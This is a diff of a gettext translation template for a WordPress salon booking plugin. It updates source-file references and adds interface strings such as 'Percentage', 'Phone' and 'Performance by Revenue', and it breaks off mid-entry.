build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:914, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:927\n-msgid \"Save new customer error.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:63\n+msgid \"Per single user limit\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, src\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, src\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1029, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1042, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendNotification.php:22, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FResendPaymentNotification.php:20\n-msgid \"Please specify an email\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:264\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:264\n+msgid \"per working day\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1247, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1321\n-msgid \"Created timestamp for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:224\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:166\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_payments_pro.php:224\n+msgid \"Percentage\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1255, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1329\n-msgid \"The date for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fextensions.php:518\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fextensions.php:518\n+msgid \"Perfect for small salons and individual stylists\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1266, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1340\n-msgid \"The time for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:377\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:377\n+msgid \"Performance by Bookings\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1277, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1351\n-msgid \"The status for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:414\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:414\n+msgid \"Performance by Hours\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1288, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1362\n-msgid \"The customer id for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:383\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Freports-dashboard.php:420\n+msgid \"Performance by Revenue\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1296, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1370\n-msgid \"The customer first name for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:144\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:144\n+msgid \"Performance indexes installed successfully!\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-10.30.11.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FHelper\u002FPerformanceIndexManager.php:140\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FUpdates\u002Fsln-update-for-10.30.11.php:56\n+msgid \"Performance indexes installed successfully.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:135\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FInitEnvatoAutomaticPluginUpdate.php:135\n+msgid \"Permission denied\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:8\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FAction\u002FAjax\u002FRefreshPaymentStatus.php:8\n+msgid \"Permission denied.\"\n+msgstr \"\"\n+\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_customer.php:127\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_customer.php:127\n+msgid \"Personal note\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1305, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1379\n-msgid \"The customer last name for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fmetabox\u002Fattendant.php:34\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002F_calendar_tooltip_data_attributes.php:409\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fmetabox\u002Fattendant.php:34\n+msgid \"Phone\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1314, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1388\n-msgid \"The customer email for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_PWA\u002FLabelProvider.php:57\n+msgid \"phone\"\n msgstr \"\"\n \n-#: src\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, src\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, build\u002Ftmp\u002Fsalon-booking-system\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API\u002FController\u002FBookings_Controller.php:1325, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fsrc\u002FSLB_API_Mobile\u002FController\u002FBookings_Controller.php:1399\n-msgid \"The customer phone for the resource.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FShortcode\u002FSalon\u002FSmsStep.php:45\n+msgid \"\"\n+\"Phone number wrong or not defined, you need to define a valid phone number\"\n msgstr \"\"\n \n-#: 